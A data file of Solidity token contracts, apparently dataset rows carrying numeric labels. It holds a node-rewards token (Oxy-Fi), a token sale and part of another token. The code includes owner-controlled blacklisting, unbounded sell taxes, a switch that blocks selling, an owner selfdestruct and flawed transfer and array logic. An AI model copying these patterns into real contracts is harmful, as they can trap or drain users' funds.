).sub(node.borrowedRewards);
node.totalClaimed += toClaim;
node.lastClaimTime = block.timestamp;
node.borrowedRewards = 0;
}
function cashoutAllNodesRewards(address account)
external
onlyGuard
whenNotPaused
{
NodeEntity[] storage nodes = _nodesOfUser[account];
uint256 nodesCount = nodes.length;
require(nodesCount > 0, "NODE: CREATIME must be higher than zero");
NodeEntity storage _node;
for (uint256 i = 0; i < nodesCount; i++) {
_node = nodes[i];
uint256 toClaim = _calculateNodeRewards(
_node.lastClaimTime,
_node.tier
).sub(_node.borrowedRewards);
_node.totalClaimed += toClaim;
_node.lastClaimTime = block.timestamp;
_node.borrowedRewards = 0;
}
}
function setMoleculeAddress(address _moleculesAddress) external onlyOwner {
molecules = Molecules(_moleculesAddress);
}
function bondNFT(uint256 _creationTime, uint256 _tokenId) external {
address account = _msgSender();
require(_creationTime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"You don't own any nodes"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
require(node.bondedMols < 3,"Already bonded to enough molecules");
molecules.bondMolecule(account, _tokenId, node.creationTime);
node.bondedMolecules[node.bondedMols] = _tokenId;
node.bondedMols += 1;
emit NodeBondedToMolecule(account, _tokenId, _creationTime);
}
function unbondNFT(uint256 _creationTime, uint256 _tokenId) external {
address account = _msgSender();
require(_creationTime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"You don't own any nodes"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
require(node.bondedMols > 0,"No Molecules Bonded");
molecules.unbondMolecule(account, _tokenId, node.creationTime);
uint256[3] memory newArray = [uint256(0),0,0];
for (uint256 i = 0 ; i < node.bondedMols; i++) {
if (node.bondedMolecules[i] != _tokenId) {
newArray[i] = node.bondedMolecules[i];
}
}
node.bondedMolecules = newArray;
node.bondedMols -= 1;
emit NodeUnbondedToMolecule(account, _tokenId, _creationTime);
}
function getNodesNames(address account) public view returns (string memory) {
NodeEntity[] memory nodes = _nodesOfUser[account];
uint256 nodesCount = nodes.length;
NodeEntity memory _node;
string memory names = nodes[0].name;
string memory separator = "#";
for (uint256 i = 1; i < nodesCount; i++) {
_node = nodes[i];
names = string(abi.encodePacked(names, separator, _node.name));
}
return names;
}
function getNodesRewards(address account) public view returns (string memory) {
NodeEntity[] memory nodes = _nodesOfUser[account];
uint256 nodesCount = nodes.length;
NodeEntity memory _node;
string memory rewards = _uint2str(_calculateNodeRewards(nodes[0].lastClaimTime, nodes[0].tier).mul(getNodeAPRIncrease(account, nodes[0].creationTime)).div(10000).sub(nodes[0].borrowedRewards));
string memory separator = "#";
for (uint256 i = 1; i < nodesCount; i++) {
_node = nodes[i];
string memory _rewardStr = _uint2str(_calculateNodeRewards(_node.lastClaimTime, _node.tier).mul(getNodeAPRIncrease(account, _node.creationTime)).div(10000).sub(_node.borrowedRewards));
rewards = string(abi.encodePacked(rewards, separator, _rewardStr));
}
return rewards;
}
function getNodesCreationTime(address account)
public
view
returns (string memory)
{
NodeEntity[] memory nodes = _nodesOfUser[account];
uint256 nodesCount = nodes.length;
NodeEntity memory _node;
string memory _creationTimes = _uint2str(nodes[0].creationTime);
string memory separator = "#";
for (uint256 i = 1; i < nodesCount; i++) {
_node = nodes[i];
_creationTimes = string(
abi.encodePacked(
_creationTimes,
separator,
_uint2str(_node.creationTime)
)
);
}
return _creationTimes;
}
function getNodeAPRIncrease(address account, uint256 _creationTime) public view returns (uint256){
require(_creationTime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"You don't own any nodes"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
if (node.bondedMols == 0){
uint256 totalApyBenefit = 10000;
return totalApyBenefit;
}
else {
uint256 totalApyBenefit = 0;
for (uint256 i = 0; i < node.bondedMols; i++) {
if (molecules.getMoleculeKind(node.bondedMolecules[i]) == 2 || molecules.getMoleculeKind(node.bondedMolecules[i]) == 3) {
uint256 APYBenefit = molecules.getMoleculeLevel(node.bondedMolecules[i]).mul(levelMultiplier).add(250);
totalApyBenefit += APYBenefit;
}
}
totalApyBenefit += 10000;
return totalApyBenefit;
}
}
function getNodeTaxDecrease(address account, uint256 _creationTime) public view returns (uint256){
require(_creationTime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"You don't own any nodes"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
if (node.bondedMols == 0){
uint256 totalTaxDecrease = 0;
return totalTaxDecrease;
}
else {
uint256 totalTaxDecrease = 0;
for (uint256 i = 0; i < node.bondedMols; i++) {
if (molecules.getMoleculeKind(node.bondedMolecules[i]) == 1 || molecules.getMoleculeKind(node.bondedMolecules[i]) == 3) {
uint256 APYBenefit = molecules.getMoleculeLevel(node.bondedMolecules[i]).mul(levelMultiplier).add(250);
totalTaxDecrease += APYBenefit;
}
}
if (totalTaxDecrease > 10000) {
totalTaxDecrease = 10000;
}
return totalTaxDecrease;
}
}
function getNodesLastClaimTime(address account)
public
view
returns (string memory)
{
NodeEntity[] memory nodes = _nodesOfUser[account];
uint256 nodesCount = nodes.length;
NodeEntity memory _node;
string memory _lastClaimTimes = _uint2str(nodes[0].lastClaimTime);
string memory separator = "#";
for (uint256 i = 1; i < nodesCount; i++) {
_node = nodes[i];
_lastClaimTimes = string(
abi.encodePacked(
_lastClaimTimes,
separator,
_uint2str(_node.lastClaimTime)
)
);
}
return _lastClaimTimes;
}
function getNodeFee(
address account,
uint256 _creationTime,
uint256 _rewardsAmount
) public view returns (uint256) {
require(_creationTime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"CASHOUT ERROR: You don't have nodes to cash-out"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
uint256 paperHandsTax = 0;
uint256 claimTx = _rewardsAmount.mul(_claimTaxFees[node.tier]).div(100);
uint256 elapsedSeconds = block.timestamp - node.lastClaimTime;
if (elapsedSeconds >= _paperHandsWeeks[3].mul(86400).mul(7)) {
paperHandsTax = _rewardsAmount.mul(_paperHandsTaxes[3]).div(1000);
} else if (elapsedSeconds >= _paperHandsWeeks[2].mul(86400).mul(7)) {
paperHandsTax = _rewardsAmount.mul(_paperHandsTaxes[2]).div(1000);
} else if (elapsedSeconds >= _paperHandsWeeks[1].mul(86400).mul(7)) {
paperHandsTax = _rewardsAmount.mul(_paperHandsTaxes[1]).div(1000);
} else if (elapsedSeconds >= _paperHandsWeeks[0].mul(86400).mul(7)) {
paperHandsTax = _rewardsAmount.mul(_paperHandsTaxes[0]).div(1000);
} else {
paperHandsTax = _rewardsAmount.mul(200).div(1000);
}
uint256 totalTax = claimTx.add(paperHandsTax);
uint256 taxRebate = totalTax.mul(getNodeTaxDecrease(account,_creationTime)).div(10000);
return totalTax.sub(taxRebate);
}
function updateToken(address newToken) external onlyOwner {
token = newToken;
}
function updateTiersRewards(uint256[] memory newVal) external onlyOwner {
require(newVal.length == 5, "Wrong length");
_tiersRewards = newVal;
}
function updateTiersPrice(uint256[] memory newVal) external onlyOwner {
require(newVal.length == 5, "Wrong length");
_tiersPrice = newVal;
}
function updateBoostMultipliers(uint8[] calldata newVal) external onlyOwner {
require(newVal.length == 5, "Wrong length");
_boostMultipliers = newVal;
}
function updateBoostRequiredDays(uint8[] calldata newVal) external onlyOwner {
require(newVal.length == 5, "Wrong length");
_boostRequiredDays = newVal;
}
function getNodeTier(address account, uint256 blocktime) public view returns (uint256) {
require(blocktime > 0, "Creation Time has to be higher than 0");
require(isNodeOwner(account), "NOT NODE OWNER");
NodeEntity[] storage nodes = _nodesOfUser[account];
uint256 numberOfNodes = nodes.length;
require(
numberOfNodes > 0,
"You don't own any nodes."
);
NodeEntity storage node = _getNodeWithCreatime(nodes, blocktime);
return node.tier;
}
function getNodePrice(uint256 _tierIndex) public view returns (uint256) {
return _tiersPrice[_tierIndex];
}
function getNodeNumberOf(address account) external view returns (uint256) {
return nodeOwners.get(account);
}
function isNodeOwner(address account) public view returns (bool) {
return nodeOwners.get(account) > 0;
}
function getNodeMolecules(address account, uint256 blocktime) public view returns (uint256[3] memory) {
require(blocktime > 0, "Creation Time has to be higher than 0");
require(isNodeOwner(account), "NOT NODE OWNER");
NodeEntity[] storage nodes = _nodesOfUser[account];
uint256 numberOfNodes = nodes.length;
require(
numberOfNodes > 0,
"You don't own any nodes."
);
NodeEntity storage node = _getNodeWithCreatime(nodes, blocktime);
return node.bondedMolecules;
}
function getAllNodes(address account)
external
view
returns (NodeEntity[] memory)
{
return _nodesOfUser[account];
}
function getIndexOfKey(address account)
external
view
onlyOwner
returns (int256)
{
require(account != address(0));
return nodeOwners.getIndexOfKey(account);
}
function burn(uint256 index) external onlyOwner {
require(index < nodeOwners.size());
nodeOwners.remove(nodeOwners.getKeyAtIndex(index));
}
function changeNodeName(uint256 _creationTime, string memory newName)
public
{
address sender = msg.sender;
require(isNodeOwner(sender), "NOT NODE OWNER");
NodeEntity[] storage nodes = _nodesOfUser[sender];
uint256 numberOfNodes = nodes.length;
require(
numberOfNodes > 0,
"You don't own any nodes."
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
node.name = newName;
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
}
pragma solidity ^0.8.4;
contract OXG is ERC20, Ownable, PaymentSplitter {
using SafeMath for uint256;
NodeManager public nodeManager;
Molecules public molecules;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address public teamPool;
address public distributionPool;
address public devPool;
address public advisorPool;
address public deadWallet = 0x000000000000000000000000000000000000dEaD;
uint256 public rewardsFee;
uint256 public liquidityPoolFee;
uint256 public futurFee;
uint256 public totalFees;
uint256 public sellTax = 10;
uint256 public cashoutFee;
uint256 private rwSwap;
uint256 private devShare = 20;
uint256 private advisorShare = 40;
bool private swapping = false;
bool private swapLiquify = true;
uint256 public swapTokensAmount;
uint256 public growMultiplier = 2e18;
bool private tradingOpen = false;
bool public nodeEnforced = true;
uint256 private _openTradingBlock = 0;
uint256 private maxTx = 375;
mapping(address => bool) public _isBlacklisted;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(
address indexed newLiquidityWallet,
address indexed oldLiquidityWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor(
address[] memory payees,
uint256[] memory shares,
address uniV2Router
) ERC20("Oxy-Fi", "OXY") PaymentSplitter(payees, shares) {
teamPool = 0xaf4a303E107b47f11F2e744c547885b8A9A4E2F7;
distributionPool = 0xAD2ea18F968a23a35580CF6Aca562d9F7b380644;
devPool = 0x1feffA18be68B22A5882f76E180c1666EF667E15;
advisorPool = 0x457276267e0f0C86a6Ddf3674Cc4f36e067C42e0;
require(uniV2Router != address(0), "ROUTER CANNOT BE ZERO");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(uniV2Router);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
futurFee = 13;
rewardsFee = 80;
liquidityPoolFee = 7;
rwSwap = 25;
totalFees = rewardsFee.add(liquidityPoolFee).add(futurFee);
_mint(_msgSender(), 300000e18);
require(totalSupply() == 300000e18, "CONSTR: totalSupply must equal 300,000");
swapTokensAmount = 100 * (10**18);
}
function setNodeManagement(address nodeManagement) external onlyOwner {
nodeManager = NodeManager(nodeManagement);
}
function setMolecules(address moleculesAddress) external onlyOwner {
molecules = Molecules(moleculesAddress);
}
function updateUniswapV2Router(address newAddress) public onlyOwner {
require(newAddress != address(uniswapV2Router), "TKN: The router already has that address");
emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
uniswapV2Router = IUniswapV2Router02(newAddress);
address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), uniswapV2Router.WETH());
uniswapV2Pair = _uniswapV2Pair;
}
function updateSwapTokensAmount(uint256 newVal) external onlyOwner {
swapTokensAmount = newVal;
}
function updateFuturWall(address payable wall) external onlyOwner {
teamPool = wall;
}
function updateDevWall(address payable wall) external onlyOwner {
devPool = wall;
}
function updateRewardsWall(address payable wall) external onlyOwner {
distributionPool = wall;
}
function updateRewardsFee(uint256 value) external onlyOwner {
rewardsFee = value;
totalFees = rewardsFee.add(liquidityPoolFee).add(futurFee);
}
function updateLiquidityFee(uint256 value) external onlyOwner {
liquidityPoolFee = value;
totalFees = rewardsFee.add(liquidityPoolFee).add(futurFee);
}
function updateFuturFee(uint256 value) external onlyOwner {
futurFee = value;
totalFees = rewardsFee.add(liquidityPoolFee).add(futurFee);
}
function updateCashoutFee(uint256 value) external onlyOwner {
cashoutFee = value;
}
function updateRwSwapFee(uint256 value) external onlyOwner {
rwSwap = value;
}
function updateSellTax(uint256 value) external onlyOwner {
sellTax = value;
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"TKN: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function blacklistMalicious(address account, bool value)
external
onlyOwner
{
_isBlacklisted[account] = value;
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(
automatedMarketMakerPairs[pair] != value,
"TKN: Automated market maker pair is already set to that value"
);
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(
!_isBlacklisted[from] && !_isBlacklisted[to],
"Blacklisted address"
);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (to == address(uniswapV2Pair) && (from != address(this) && from != owner()) && nodeEnforced){
require(nodeManager.isNodeOwner(from), "You need to own a node to be able to sell");
uint256 sellTaxAmount = amount.mul(sellTax).div(100);
super._transfer(from,address(this), sellTaxAmount);
amount = amount.sub(sellTaxAmount);
}
uint256 amount2 = amount;
if (from != owner() && to != uniswapV2Pair && to != address(uniswapV2Router) && to != address(this) && from != address(this) ) {
if (!tradingOpen) {
amount2 = amount.div(100);
super._transfer(from,address(this),amount.sub(amount2));
}
if (to != teamPool && to != distributionPool && to != devPool && from != teamPool && from != distributionPool && from != devPool) {
uint256 walletBalance = balanceOf(address(to));
require(
amount2.add(walletBalance) <= maxTx.mul(1e18),
"STOP TRYING TO BECOME A WHALE. WE KNOW WHO YOU ARE.")
;
}
}
super._transfer(from, to, amount2);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens.div(2);
uint256 otherHalf = tokens.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
distributionPool,
block.timestamp
);
}
function createNodeWithTokens(string memory name, uint256 tier) public {
require(
bytes(name).length > 3 && bytes(name).length < 32,
"NODE CREATION: NAME SIZE INVALID"
);
address sender = _msgSender();
require(
sender != address(0),
"NODE CREATION: creation from the zero address"
);
require(!_isBlacklisted[sender], "NODE CREATION: Blacklisted address");
require(
sender != distributionPool,
"NODE CREATION: futur, dev and rewardsPool cannot create node"
);
uint256 nodePrice = nodeManager._tiersPrice(tier);
require(
balanceOf(sender) >= nodePrice.mul(1e18),
"NODE CREATION: Balance too low for creation. Try lower tier."
);
uint256 contractTokenBalance = balanceOf(address(this));
bool swapAmountOk = contractTokenBalance >= swapTokensAmount;
if (
swapAmountOk &&
swapLiquify &&
!swapping &&
sender != owner() &&
!automatedMarketMakerPairs[sender]
) {
swapping = true;
uint256 fdTokens = contractTokenBalance.mul(futurFee).div(100);
uint256 devTokens = fdTokens.mul(devShare).div(100);
uint256 advTokens = fdTokens.mul(advisorShare).div(100);
uint256 teamTokens = fdTokens.sub(devTokens).sub(advTokens);
uint256 rewardsPoolTokens = contractTokenBalance.mul(rewardsFee).div(100);
uint256 rewardsTokenstoSwap = rewardsPoolTokens.mul(rwSwap).div(
100
);
super._transfer(address(this),distributionPool,rewardsPoolTokens.sub(rewardsTokenstoSwap));
uint256 swapTokens = contractTokenBalance.mul(liquidityPoolFee).div(100);
swapAndLiquify(swapTokens);
swapTokensForEth(balanceOf(address(this)));
uint256 totalTaxTokens = devTokens.add(teamTokens).add(rewardsTokenstoSwap).add(advTokens);
uint256 ETHBalance = address(this).balance;
payable(devPool).transfer(ETHBalance.mul(devTokens).div(totalTaxTokens));
payable(teamPool).transfer(ETHBalance.mul(teamTokens).div(totalTaxTokens));
payable(advisorPool).transfer(ETHBalance.mul(advTokens).div(totalTaxTokens));
distributionPool.call{value: balanceOf(address(this))}("");
swapping = false;
}
super._transfer(sender, address(this), nodePrice.mul(1e18));
nodeManager.createNode(sender, name, tier);
}
function createNodeWithRewards(uint256 blocktime, string memory name, uint256 tier) public {
require(
bytes(name).length > 3 && bytes(name).length < 32,
"NODE CREATION: NAME SIZE INVALID"
);
address sender = _msgSender();
require(
sender != address(0),
"NODE CREATION: creation from the zero address"
);
require(!_isBlacklisted[sender], "NODE CREATION: Blacklisted address");
require(
sender != distributionPool,
"NODE CREATION: rewardsPool cannot create node"
);
uint256 nodePrice = nodeManager._tiersPrice(tier);
uint256 rewardOf = nodeManager.getNodeReward(sender, blocktime);
require(
rewardOf >= nodePrice.mul(1e18),
"NODE CREATION: Reward Balance too low for creation."
);
nodeManager.borrowRewards(sender, blocktime, nodeManager.getNodePrice(tier).mul(1e18));
nodeManager.createNode(sender, name, tier);
super._transfer(distributionPool, address(this), nodePrice.mul(1e18));
}
function upgradeNode(uint256 blocktime) public {
address sender = _msgSender();
require(sender != address(0), "Zero address not permitted");
require(!_isBlacklisted[sender], "MANIA CSHT: Blacklisted address");
require(
sender != distributionPool,
"Cannot upgrade nodes"
);
uint256 currentTier = nodeManager.getNodeTier(sender, blocktime);
require(currentTier < 4, "Your Node is already at max level");
uint256 nextTier = currentTier.add(1);
uint256 currentPrice = nodeManager.getNodePrice(currentTier);
uint256 newPrice = nodeManager.getNodePrice(nextTier);
uint256 priceDiff = (newPrice.sub(currentPrice)).mul(1e18);
uint256 rewardOf = nodeManager.getNodeReward(sender, blocktime);
if (rewardOf > priceDiff) {
upgradeNodeCashout(sender, blocktime, rewardOf.sub(priceDiff));
super._transfer(distributionPool, address(this), priceDiff);
nodeManager.cashoutNodeReward(sender, blocktime);
}
else if (rewardOf < priceDiff) {
upgradeNodeAddOn(sender, blocktime, priceDiff.sub(rewardOf));
super._transfer(distributionPool, address(this), rewardOf);
nodeManager.cashoutNodeReward(sender, blocktime);
}
}
function upgradeNodeCashout(address account, uint256 blocktime, uint256 cashOutAmount) internal {
uint256 taxAmount = nodeManager.getNodeFee(account, blocktime,cashOutAmount);
super._transfer(distributionPool, account, cashOutAmount.sub(taxAmount));
super._transfer(distributionPool, address(this), taxAmount);
nodeManager.upgradeNode(account, blocktime);
}
function upgradeNodeAddOn(address account, uint256 blocktime, uint256 AddAmount) internal {
super._transfer(account, address(this), AddAmount);
nodeManager.upgradeNode(account, blocktime);
}
function growMolecule(uint256 _tokenId) external {
address sender = _msgSender();
uint256 molLevel = molecules.getMoleculeLevel(_tokenId);
uint256 growPrice = molLevel.mul(growMultiplier);
require(balanceOf(sender) > growPrice, "Not enough OXG to grow your Molecule");
super._transfer(sender, address(this), growPrice);
molecules.growMolecule(_tokenId);
}
function cashoutReward(uint256 blocktime) public {
address sender = _msgSender();
require(sender != address(0), "CSHT: can't from the zero address");
require(!_isBlacklisted[sender], "MANIA CSHT: Blacklisted address");
require(
sender != teamPool && sender != distributionPool,
"CSHT: futur and rewardsPool cannot cashout rewards"
);
uint256 rewardAmount = nodeManager.getNodeReward(
sender,
blocktime
);
require(
rewardAmount > 0,
"CSHT: You don't have enough reward to cash out"
);
uint256 taxAmount = nodeManager.getNodeFee(sender, blocktime,rewardAmount);
super._transfer(distributionPool, sender, rewardAmount.sub(taxAmount));
super._transfer(distributionPool, address(this), taxAmount);
nodeManager.cashoutNodeReward(sender, blocktime);
}
function cashoutAll() public {
address sender = _msgSender();
require(
sender != address(0),
"MANIA CSHT: creation from the zero address"
);
require(!_isBlacklisted[sender], "MANIA CSHT: Blacklisted address");
require(
sender != teamPool && sender != distributionPool,
"MANIA CSHT: futur and rewardsPool cannot cashout rewards"
);
uint256[2] memory rewardTax = nodeManager.getAllNodesRewards(sender);
uint256 rewardAmount = rewardTax[0];
uint256 taxAmount = rewardTax[1];
require(
rewardAmount > 0,
"MANIA CSHT: You don't have enough reward to cash out"
);
super._transfer(distributionPool, sender, rewardAmount);
super._transfer(distributionPool, address(this), taxAmount);
nodeManager.cashoutAllNodesRewards(sender);
}
function rescueFunds(uint amount) public onlyOwner {
if (amount > address(this).balance) amount = address(this).balance;
payable(owner()).transfer(amount);
}
function changeSwapLiquify(bool newVal) public onlyOwner {
swapLiquify = newVal;
}
function getNodeNumberOf(address account) public view returns (uint256) {
return nodeManager.getNodeNumberOf(account);
}
function getRewardAmountOf(address account)
public
view
onlyOwner
returns (uint256[2] memory)
{
return nodeManager.getAllNodesRewards(account);
}
function getRewardAmount() public view returns (uint256[2] memory) {
require(_msgSender() != address(0), "SENDER CAN'T BE ZERO");
require(
nodeManager.isNodeOwner(_msgSender()),
"NO NODE OWNER"
);
return nodeManager.getAllNodesRewards(_msgSender());
}
function updateTiersRewards(uint256[] memory newVal) external onlyOwner {
require(newVal.length == 5, "Wrong length");
nodeManager.updateTiersRewards(newVal);
}
function getNodesNames() public view returns (string memory) {
require(_msgSender() != address(0), "SENDER CAN'T BE ZERO");
require(
nodeManager.isNodeOwner(_msgSender()),
"NO NODE OWNER"
);
return nodeManager.getNodesNames(_msgSender());
}
function getNodesCreatime() public view returns (string memory) {
require(_msgSender() != address(0), "SENDER CAN'T BE ZERO");
require(
nodeManager.isNodeOwner(_msgSender()),
"NO NODE OWNER"
);
return nodeManager.getNodesCreationTime(_msgSender());
}
function getNodesRewards() public view returns (string memory) {
require(_msgSender() != address(0), "SENDER CAN'T BE ZERO");
require(
nodeManager.isNodeOwner(_msgSender()),
"NO NODE OWNER"
);
return nodeManager.getNodesRewards(_msgSender());
}
function getNodesLastClaims() public view returns (string memory) {
require(_msgSender() != address(0), "SENDER CAN'T BE ZERO");
require(
nodeManager.isNodeOwner(_msgSender()),
"NO NODE OWNER"
);
return nodeManager.getNodesLastClaimTime(_msgSender());
}
function getTotalStakedReward() public view returns (uint256) {
return nodeManager.totalStaked();
}
function getTotalCreatedNodes() public view returns (uint256) {
return nodeManager.totalNodesCreated();
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
tradingOpen = true;
_openTradingBlock = block.number;
}
function nodeEnforcement(bool val) external onlyOwner() {
nodeEnforced = val;
}
function updateMaxTxAmount(uint256 newVal) public onlyOwner {
maxTx = newVal;
}
} | 1 | 2,711 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only owner can call this function");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Valid address is required");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface TokenContract {
function mintTo(address _to, uint256 _amount) external;
}
contract LGRSale is Ownable {
using SafeMath for uint256;
address public walletAddress;
TokenContract public tkn;
uint256[3] public pricePerToken = [1400 szabo, 1500 szabo, 2000 szabo];
uint256[3] public levelEndDate = [1539648000, 1541030400, 1546300740];
uint8 public currentLevel;
uint256 public tokensSold;
uint256 public ethRised;
constructor() public {
currentLevel = 0;
tokensSold = 0;
ethRised = 0;
walletAddress = 0xE38cc3F48b4F98Cb3577aC75bB96DBBc87bc57d6;
tkn = TokenContract(0x7172433857c83A68F6Dc98EdE4391c49785feD0B);
}
function() public payable {
if (levelEndDate[currentLevel] < now) {
currentLevel += 1;
if (currentLevel > 2) {
msg.sender.transfer(msg.value);
} else {
executeSell();
}
} else {
executeSell();
}
}
function executeSell() private {
uint256 tokensToSell;
require(msg.value >= pricePerToken[currentLevel], "Minimum amount is 1 token");
tokensToSell = msg.value.div(pricePerToken[currentLevel]) * 1 ether;
tkn.mintTo(msg.sender, tokensToSell);
tokensSold = tokensSold.add(tokensToSell);
ethRised = ethRised.add(msg.value);
walletAddress.transfer(msg.value);
}
function killContract(bool _kill) public onlyOwner {
if (_kill == true) {
selfdestruct(owner);
}
}
function setWallet(address _wallet) public onlyOwner {
walletAddress = _wallet;
}
function setLevelEndDate(uint256 _level, uint256 _date) public onlyOwner {
levelEndDate[_level] = _date;
}
} | 1 | 2,670 |
pragma solidity 0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value) public;
}
contract UnitedfansToken is MintableToken {
address public migrationMaster;
address public migrationAgent;
address public admin;
address public crowdSaleAddress;
uint256 public totalMigrated;
string public name = "Goal Coin";
string public symbol = "GC";
